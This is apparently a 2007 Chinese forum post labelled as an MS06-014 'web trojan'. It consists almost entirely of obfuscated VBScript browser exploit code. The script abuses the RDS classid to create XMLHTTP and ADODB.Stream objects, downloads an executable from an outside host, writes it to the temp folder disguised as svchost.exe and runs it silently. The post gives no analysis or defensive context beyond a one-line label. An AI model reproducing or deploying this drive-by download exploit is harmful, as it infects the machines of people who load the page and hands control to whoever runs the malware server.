| on error resume next m1="object"
 m2="classid"
 m3="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
 m4="Microsoft.XMLHTTP"
 m5="Shell.Application"
 m6="Scripti"&"ng.Fil"&"eSystemObject"
 Set xasonc = document.createElement(m1)
 xason = "http://www.xiaoshuowang.com.cn/asia.exe"
 xasonc.setAttribute m2, m3
 xasoni=m4
 Set xasond = xasonc.CreateObject(xasoni,"")
 yhangf="Ado"
 yhangg="db."
 yhangh="Str"
 yhangi="eam"
 xasonf=yhangf&yhangg&yhangh&yhangi
 xasong=xasonf
 set xasona = xasonc.createobject(xasong,"")
 xasona.type = 1
 xasonh="G"&"E"&"T"
 xasond.Open xasonh, xason, False
 xasond.Send
 xason9="svchost.exe"
 set xasonb = xasonc.createobject(m6,"")
 set xasone = xasonb.GetSpecialFolder(2)
 xasona.open
 xason8="xasona.BuildPath(xasona,xason8)"
 xason7="xasonb.BuildPath(xasonb,xason7)"
 xason6="xasonc.BuildPath(xasond,xason6)"
 xason5="xasond.BuildPath(xasonf,xason5)"
 xason4="xasone.BuildPath(xasong,xason4)"
 xason3="xasonf.BuildPath(xasonh,xason4)"
 xason2="xasong.BuildPath(xasoni,xason3)"
 xason1="xasonh.BuildPath(xasong,xason1)"
 xason0="xasoni.BuildPath(xasonk,xason0)"
 xason9= xasonb.BuildPath(xasone,xason9)
 xasona.write xasond.responseBody
 xasona.savetofile xason9,2
 xasona.close
 set xasone = xasonc.createobject(m5,"")
 xasone.ShellExecute xason9,BBS,BBS,"o"&"p"&"e"&"n",
 
 
 MS06-014网马,下载http://www.xiaoshuowang.com.cn/asia.exe
 
 [ 本帖最后由 dikex 于 2007-3-27 22:59 编辑 ]
 |